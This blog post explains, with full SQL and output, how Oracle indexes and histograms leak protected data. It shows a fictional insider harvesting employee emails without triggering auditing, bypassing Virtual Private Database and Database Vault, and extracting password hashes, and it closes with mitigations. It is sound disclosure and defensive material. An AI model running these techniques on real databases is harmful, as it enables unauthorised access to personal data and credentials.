Horrible Histograms and Invidious Indexes – Exploits to by-pass Oracle Database Security – including VPD and Database Vault

This article is about how Indexes and Histograms may be used to view data to which a user does not ordinarily have access. It includes details of how these objects can be used to circumvent both Virtual Private Database and Database Vault restrictions.
If you want a serious and thorough exploration of these issues then I’d suggest you take a look at Alexander Kornbrust’s recent DOAG Presentation.

However, if you like your infosec to come with cute puppy pics, read on…

Meet Alexander Kornbrust. He’s an Information Security specialist with a particular focus on Oracle.

Having known Alex for many years, there are a couple of things about him that I find striking. Firstly, every time we have a conversation about the Oracle RDBMS, I learn something new. Secondly, in all these years, he hasn’t aged a day :

Alex has found some “interesting” behaviours inherent in Relational Databases in general and Oracle is no exception in this respect.

Before we get into that though, we need to meet the story’s main protagonist.

His name is Teddy. He’s done a bit of background research for the role and he thinks that remaining incognito would be a good starting point :

Have you got a false nose to go with these glasses ?

Truth be told, persuading him to do this ( in fact to do anything he’s supposed to) took some doing. In the end however, we overcame the human/canine communication barrier by employing the Esperanto of bribery. As a result, Teddy now has a large stockpile of dog biscuits. The relevance of this will become apparent shortly…

NOTE – I was able to run all of the code in this article on Oracle 18cXE running on CentOS 7.

Teddy just got a job at Lead the Way – a pet equipment company. He’s just been added to the Company’s HR system, which may well look rather familiar…

insert into employees( 
    employee_id, first_name, last_name, email, phone_number,
    hire_date, job_id, salary, manager_id, department_id)
values(
    employees_seq.nextval, 'Teddy', 'Dog', 'TDOG', '590.423.4570',
    to_date('20190226', 'YYYYMMDD'), 'IT_PROG', 2000, 103, 60)
/

Whilst he is only a lowly paid member of the IT Department, he does have some relatively powerful privileges in order to look after the system :

grant create session, select_catalog_role to tdog identified by password_buried_in_the_garden;

Teddy’s privileges will change as we go through this post. For now though, they are as follows :

select privilege, 'System Privilege' as PRIVILEGE_TYPE from session_privs union
select role, 'Granted Role' from session_roles;

PRIVILEGE                      PRIVILEGE_TYPE  
------------------------------ ----------------
CREATE SESSION                 System Privilege
HS_ADMIN_SELECT_ROLE           Granted Role    
SELECT_CATALOG_ROLE            Granted Role    

This means that Teddy has no access to data in the application tables :

select *
from hr.locations;

ERROR at line 2:
ORA-01031: insufficient privileges

Actually, that’s not entirely true…

Accessing High/Low values via an index

As Teddy has SELECT_CATALOG_ROLE, he can confirm that there is actually a LOCATIONS table in the HR schema…

select object_type
from dba_objects
where owner = 'HR'
and object_name = 'LOCATIONS';

OBJECT_TYPE            
-----------------------
TABLE                  

…confirm which columns are in the locations table…

select column_name, data_type
from dba_tab_columns
where owner = 'HR'
and table_name = 'LOCATIONS';

COLUMN_NAME                    DATA_TYPE           
------------------------------ --------------------
LOCATION_ID                    NUMBER              
STREET_ADDRESS                 VARCHAR2            
POSTAL_CODE                    VARCHAR2            
CITY                           VARCHAR2            
STATE_PROVINCE                 VARCHAR2            
COUNTRY_ID                     CHAR     

…and which of those columns are indexed…

select index_name, column_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'LOCATIONS';

INDEX_NAME                     COLUMN_NAME                   
------------------------------ ------------------------------
LOC_CITY_IX                    CITY                          
LOC_STATE_PROVINCE_IX          STATE_PROVINCE                
LOC_COUNTRY_IX                 COUNTRY_ID                    
LOC_ID_PK                      LOCATION_ID     

Which means we can find at least two values for character columns by querying the index meta-data…

with
    function raw_to_date(i_var in raw) return date as
        o_var date; 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
    function raw_to_number(i_var in raw) return number as
        o_var number; 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
    function raw_to_varchar2(i_var in raw) return varchar2 as
        o_var varchar2(32767); 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
select  
    case(substr(data_type,1,9))
        when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value)) 
            end as plain_text_lo_val,
    case(substr(data_type,1,9))
        when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
    end as plain_text_hi_val
from dba_tab_columns
where table_name = 'LOCATIONS'
and column_name = 'CITY'
/

PLAIN_TEXT_LO_VAL    PLAIN_TEXT_HI_VAL   
-------------------- --------------------
Whitehorse           Beijing             

There’s a lot more data skulking around in other corners of the data dictionary…

Horrible histograms

Looking at the histograms generated by stats gathering jobs, we can find even more LOCATIONS data :

select column_name
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
having count(*) > 2
group by column_name;

COLUMN_NAME                   
------------------------------
COUNTRY_ID                    

As there are more than two rows for the LOCATIONS.COUNTRY_ID column in DBA_HISTOGRAMS Teddy knows that HISTOGRAM stats have been gathered.

As this column is actually a VARCHAR2, he can see the unencrypted COUNTRY_ID values simply by running :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
and column_name = 'COUNTRY_ID'
/

ENDPOINT_ACTUAL_VALUE                                                                                                             
----------------------
AU                                                                                                                                
BR                                                                                                                                
CA                                                                                                                                
CH                                                                                                                                
CN                                                                                                                                
DE                                                                                                                                
IN                                                                                                                                
IT                                                                                                                                
JP                                                                                                                                
MX                                                                                                                                
NL                                                                                                                                
SG                                                                                                                                
UK                                                                                                                                
US                                                                                                                                

14 rows selected. 

Remember, all Teddy has done to access this information is to run a few queries against the data dictionary.

In fact, the statement that created the histogram we’ve just looked at is contained in one of the HR schema creation scripts – $ORACLE_HOME/demo/schema/human_resources/hr_analz.sql :

EXECUTE dbms_stats.gather_schema_stats( 
        'HR'                            ,       
        granularity => 'ALL'            ,       
        cascade => TRUE                 ,       
        block_sample => TRUE            );

Even if selects on the table are being audited, these queries on the data dictionary will not be picked up.

While this is all very interesting, Teddy has other plans. After all, he wants to start monetizing his biscuit mountain and thinks that a mailing campaign would be just the job to generate sales. After all, it’s a Pet equipment company so some of his colleagues must be dog people. What he wants to do, therefore, is to obtain a list of email addresses…

Creating a histogram to bypass SELECT auditing

Teddy has passed his probation and now has an additional privilege :

grant analyze any to tdog;

Once he’s found the column that holds the data he’s interested in…

select column_name
from dba_tab_columns
where owner = 'HR'
and table_name = 'EMPLOYEES';

COLUMN_NAME         
--------------------
EMPLOYEE_ID
FIRST_NAME
LAST_NAME
EMAIL
PHONE_NUMBER
HIRE_DATE
JOB_ID
SALARY
COMMISSION_PCT
MANAGER_ID
DEPARTMENT_ID

11 rows selected. 

…he can check to see if a histogram already exists :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

ENDPOINT_ACTUAL_VALUE                   
----------------------------------------



2 rows selected. 

As there are only two rows, each with a null ENDPOINT_ACTUAL_VALUE, Teddy can infer that no histogram exists on the table. However, this is not a major problem as he can use his new privilege to generate one :

begin
    dbms_stats.gather_table_stats(
        ownname => 'HR',
        tabname => 'EMPLOYEES',
        method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/

It’s worth remembering that gathering stats on a table will not trigger auditing of SELECT statements on the table.

Now, he can access all of the EMPLOYEES.EMAIL values :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';



ENDPOINT_ACTUAL_VALUE                   
----------------------------------------
ABANDA
ABULL
ACABRIO
AERRAZUR
AFRIPP
AHUNOLD
AHUTTON
AKHOO
AMCEWEN
AWALSH
BERNST
BEVERETT
CDAVIES
CJOHNSON
COLSEN
CVISHNEY

****SNIP****

SVOLLMAN
TFOX
TGATES
TJOLSON
TRAJS
VJONES
VPATABAL
WGIETZ
WSMITH
WTAYLOR

107 rows selected.

Indexes and Histograms vs Virtual Private Database

The concept of Virtual Private Databases (VPD) has been around for many years in Oracle. Essentially, VPDs restrict data access by adding a predicate to DML statements against specific tables.

There’s a brief explanation of how it all works here.

Before we go any further, let’s remove the histogram Teddy created on EMPLOYEES.EMAIL :

exec dbms_stats.gather_table_stats( ownname => 'HR', tabname => 'EMPLOYEES', method_opt => 'FOR COLUMNS EMAIL size 1');

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
                                                                                
                                                                                

2 rows selected. 

For the purposes of our story, we’ve taken a brutal yet effective approach to VPD implementation for the EMPLOYEES table.

Having adjusted HR’s privileges :

grant execute on dbms_rls to hr

…we’ve created this function in the HR schema :

create or replace function dept_id_fn( i_schema user_users.username%type, i_table user_objects.object_name%type)
    return varchar2 is
begin
    return 'department_id = 60';
end dept_id_fn;
/

…and (as HR), created a policy for all SELECT statements on the table :

begin
    dbms_rls.add_policy(
        object_schema => 'HR', 
        object_name => 'EMPLOYEES', 
        policy_name => 'OWN_DEPT', 
        function_schema => 'HR', 
        policy_function => 'dept_id_fn', 
        statement_types => 'SELECT');
end;
/

The upshot of this is that even HR can now only select rows from the EMPLOYEES table that have a DEPARTMENT_ID of 60 :

select department_id, email
from employees;

DEPARTMENT_ID EMAIL                    
------------- -------------------------
           60 AHUNOLD                  
           60 BERNST                   
           60 DAUSTIN                  
           60 VPATABAL                 
           60 DLORENTZ                 
           60 TDOG                     

6 rows selected. 

Meanwhile, Teddy has now been granted access to the table :

grant select on hr.employees to tdog;

Bypassing VPD with a Histogram

Like HR, Teddy can only see the six Department 60 records in EMPLOYEES :

select department_id, count(*)
from hr.employees
group by department_id;

DEPARTMENT_ID   COUNT(*)
------------- ----------
           60          6

However, he can still use the histogram trick to view all of the email addresses :

exec dbms_stats.gather_table_stats( 
    ownname => 'HR', 
    tabname => 'EMPLOYEES', 
    method_opt => 'FOR COLUMNS EMAIL size 255');

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
***snip***

TFOX                                                                            
TGATES                                                                          
TJOLSON                                                                         
TRAJS                                                                           
VJONES                                                                          
VPATABAL                                                                        
WGIETZ                                                                          
WSMITH                                                                          
WTAYLOR                                                                         

108 rows selected. 

Bypassing VPD with a fulltext index

Histograms are not the only dictionary object that can be used to circumvent VPD policies.

Let’s say that Teddy ( TDOG as he now inisits on being called) has the following additional privileges :

grant create table, create any index to tdog;
alter user tdog quota unlimited on users;

He could do the following…

create index tdog.email_idx on hr.employees(email) 
    indextype is ctxsys.context;

This statement uses Oracle Text to create an index on HR.EMPLOYEES.EMAIL.

The index itself is owned by TDOG. Teddy can then query the index, the creation of which has by-passed the VPD policy on the table :

select token_text
from dr$email_idx$i
/

TOKEN_TEXT                                                                      
***snip***
TFOX                                                                            
TGATES                                                                          
TJOLSON                                                                         
TRAJS                                                                           
VJONES                                                                          
VPATABAL                                                                        
WGIETZ                                                                          
WSMITH                                                                          
WTAYLOR                                                                         

108 rows selected.

So, we can conclude that data is visible via histograms and indexes, even when it is otherwise protected by a VPD policy.

Incidentally, it’s worth noting that this applies even if the index or histogram in question was created prior to the implementation of the VPD policy.

For example…

Bypassing VPD to access high and low values in a pre-existing index

Teddy can see values outside those defined by the VPD simply by looking at columns with pre-existing indexes. For example, the EMPLOYEE.EMAIL column already has an index :

select index_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

INDEX_NAME                    
------------------------------
EMP_EMAIL_UK


…which Teddy can now take advantage of as we’ve seen previously :

with
    function raw_to_varchar2(i_var in raw) return varchar2 as
        o_var varchar2(32767); 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
select  
    case(substr(data_type,1,9))
        when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value)) 
            end as plain_text_lo_val,
    case(substr(data_type,1,9))
        when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
    end as plain_text_hi_val
from dba_tab_columns
where table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/


PLAIN_TEXT_LO_VAL                   PLAIN_TEXT_HI_VAL                  
----------------------------------- -----------------------------------
WTAYLOR                             ABANDA                             

Breaking into the Oracle Database Vault

The DBA at Lead the Way is fed up with all the spam she’s been getting about cheap dog biscuits. Apart from anything else, she’s a cat person.

Therefore, she’s decided to step up the data security by replacing the Virtual Private Database with an Oracle Database Vault Realm for the HR schema :

conn c##dbv_owner@xepdb1


begin
    DBMS_MACADM.CREATE_REALM (
    realm_name => 'HR Realm',
    description => 'Human Resources - Right-sizing your future',
    enabled => DBMS_MACUTL.G_YES,
    audit_options => DBMS_MACUTL.G_REALM_AUDIT_FAIL,
    realm_type => 1); 
end; 
/

begin
    DBMS_MACADM.ADD_OBJECT_TO_REALM(
    realm_name => 'HR Realm',
    object_owner => 'HR',
    object_name => '%',
    object_type => 'TABLE'); 
end; 
/

begin
    DBMS_MACADM.ADD_AUTH_TO_REALM(
        realm_name => 'HR Realm',
        grantee => 'HR',
        auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER); 
end;
/

As a result of this, HR can still see it’s own tables, but no-one else can.

Even connecting as SYSDBA doesn’t help :

conn sys@xepdb1 as sysdba
Password? (**************?) ************
Connected.
SQL> select count(*) from hr.employees;

select count(*) from hr.employees
                        *
ERROR at line 1:
ORA-01031: insufficient privileges

Furthermore, a histogram won’t help in this instance, as all of the values show up in DBA_HISTOGRAMS as null :

begin
    dbms_stats.gather_table_stats(
        ownname => 'HR',
        tabname => 'EMPLOYEES',
        method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/


PL/SQL procedure successfully completed.

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
                                                                                
                                                                                
***snip***                                                                                
                                                                                
                                                                                
108 rows selected. 

According to popular culture at the moment, if you’re going to crack a vault, you will need Ray Winston and some mates armed with bus passes and an industrial drill ( other ageing cockney geezers are available).

Fortunately for us, the same can be achieved by a cheeky chappie with a database account.

Taking a closer look at the source code for DBA_TAB_HISTOGRAMS – the data dictionary view pointed to by the DBA_HISTOGRAMS public synonym – we can see that it uses the following line to enforce the Data Vault restrictions :

sys_op_dv_check(o.name,o.owner#)= 1

Let’s get the view query and change all occurences of this line to :

sys_op_dv_check(o.name,o.owner#)!= 1

The resulting query looks like this :

with cheeky_chappie_histos as
(
    select /*+ ordered */ u.name as owner,
           o.name as table_name,
           decode(bitand(c.property,1),1,a.name,c.name) as column_name,
           h.bucket as endpoint_number,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.endpoint
               else
                   null
           end as endpoint_value,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   case
                       when h.epvalue is not null then
                           epvalue
                       else
                           dbms_stats.conv_raw(h.epvalue_raw,c.type#)
                   end
               else
                   null
           end as endpoint_actual_value,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.epvalue_raw
               else
                   null
           end as endpoint_actual_value_raw,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.ep_repeat_count
               else
                   null
           end as endpoint_repeat_count,
           'SHARED' as scope
    from sys.user$            u,
         sys.obj$             o,
         sys.col$             c,
         sys."_HISTGRM_DEC"   h,
         sys.attrcol$         a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           0,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.minimum
               else
                   null
           end,
           null,
           null,
           0,
           'SHARED'
    from sys.user$              u,
         sys.obj$               o,
         sys.col$               c,
         sys."_HIST_HEAD_DEC"   h,
         sys.attrcol$           a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           1,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.maximum
               else
                   null
           end,
           null,
           null,
           0,
           'SHARED'
    from sys.user$              u,
         sys.obj$               o,
         sys.col$               c,
         sys."_HIST_HEAD_DEC"   h,
         sys.attrcol$           a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ 'SYS',
           ft.kqftanam,
           c.kqfconam,
           h.bucket,
           h.endpoint,
           case
               when h.epvalue is not null then
                   epvalue
               else
                   dbms_stats.conv_raw(h.epvalue_raw,c.kqfcodty)
           end,
           h.epvalue_raw,
           h.ep_repeat_count,
           'SHARED'
    from sys.x$kqfta          ft,
         sys.fixed_obj$       fobj,
         sys.x$kqfco          c,
         sys."_HISTGRM_DEC"   h
    where ft.kqftaobj = fobj.obj# and c.kqfcotob = ft.kqftaobj and h.obj# = ft.kqftaobj and h.intcol# = c.kqfcocno
  /*
   * if fobj and st are not in sync (happens when db open read only
   * after upgrade), do not display stats.
   */ and ft.kqftaver = fobj.timestamp - to_date('01-01-1991','DD-MM-YYYY')
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           h.bucket_kxttst_hs,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.endpoint_kxttst_hs
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   dbms_stats.conv_raw(h.epvalue_raw_kxttst_hs,c.type#)
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.epvalue_raw_kxttst_hs
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.ep_repeat_count_kxttst_hs
               else
                   null
           end,
           'SESSION'
    from sys.user$         u,
         sys.obj$          o,
         sys.col$          c,
         sys.x$kxttstehs   h,
         sys.attrcol$      a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj#_kxttst_hs and c.intcol# = h.intcol#_kxttst_hs and(o.type# in
    (
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
)
select *
from cheeky_chappie_histos 
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/

…and returns the actual values in the histogram :

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
ABANDA                                                                          
ABULL                                                                           
ACABRIO                                                                         
AERRAZUR                                                                        
AFRIPP                                                                          
AHUNOLD                                                                         
AHUTTON                                                                         
AKHOO                                                                           
AMCEWEN                                                                         
AWALSH                                                                          
BERNST               

***SNIP***


108 rows selected. 

Reading Oracle Password Hashes from a Histogram

Before we wrap things up, there is one final exploit to examine.

Connected to the database as SYSTEM, we have no access to the SYS.USER$ table, which holds the password hashes in the SPARE4 column :

select spare4
from sys.user$
/

ERROR at line 2:
ORA-01031: insufficient privileges

However, SYSTEM has the ANALYZE ANY DICTIONARY privilege. Therefore, we can do this :

begin
    dbms_stats.gather_table_stats(
        ownname => 'SYS',
        tabname => 'USER$',
        method_opt => 'FOR COLUMNS SPARE4 size 255');
end;
/

…which now makes the password hashes available via the histogram :

select endpoint_actual_value
from dba_histograms
where owner = 'SYS'
and table_name = 'USER$'
and column_name = 'SPARE4'
/

ENDPOINT_ACTUAL_VALUE                   
----------------------------------------

****Loads of password hashes****

Mitigations

So, what can our erstwhile DBA do to avoid becoming knee deep in unwanted doggy treats ?

First of all, she needs to consider that, whilst the above examples have been generated on 18c, other releases may also be affected. She would need to verify this on whatever version and edition she is currently running.

Oracle are constantly working to provide fixes for vulnerabilities so timely application of Oracle Critical Patch Updates should remain a priority.

It should be noted that CPUs are not provided for Express Edition databases. Therefore, consideration should be given to what audience is appropriate for an application running on this database edition.

Every table for which auditing is enabled for select statements should have CREATE INDEX statements audited as well. Under normal circumstances, this activity should be rare and is therefore unlikely to flood the audit trail with a large number of additional entries.

Keeping track of which schemas have the privileges mentioned here would be useful. Equally useful would be to keep track of who can connect to the database using those schemas.

To recap, the main privileges (and role) in question are :

  • ANALYZE ANY
  • ANALYZE ANY DICTIONARY
  • CREATE ANY INDEX
  • SELECT CATALOG ROLE

Some data warehouse environments have bind variable peeking disabled. This being the case, histograms are not used by the optimizer. You can check to see if this is the case by seeing whether the _optim_peek_user_binds parameter is set :

select value
from v$parameter
where name = '_optim_peek_user_binds'
/

If the value is set to ‘TRUE’ then bind variable peeking is disabled and you can consider clearing down any histograms on application tables.

NOTE – as this is an underscore parameter and thus undocumented, you should check to make sure the above still applies to the Oracle version that you are currently running.

Acknowledgements

The brains behind this particular post belong to the afore mentioned Alexander Kornbrust. I continue to be awed by his wonderfully devious mind when it comes to all things Oracle. Teddy doesn’t agree, but he’s just sulking because Alex wouldn’t buy any dog biscuits.

This Oracle Base article on Virtual Private Databases by Tim Hall was helpful, as was this article on the same subject by Saurabh Gupta.

Of course, sometimes you just need to read the manual and my thanks goes again to the nameless Oracle Document Elves who produced the Getting Started with Database Vault Guide.

Teddy hopes that all of this has at least given you paws for thought. Oh, and would you like to buy some biscuits ?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.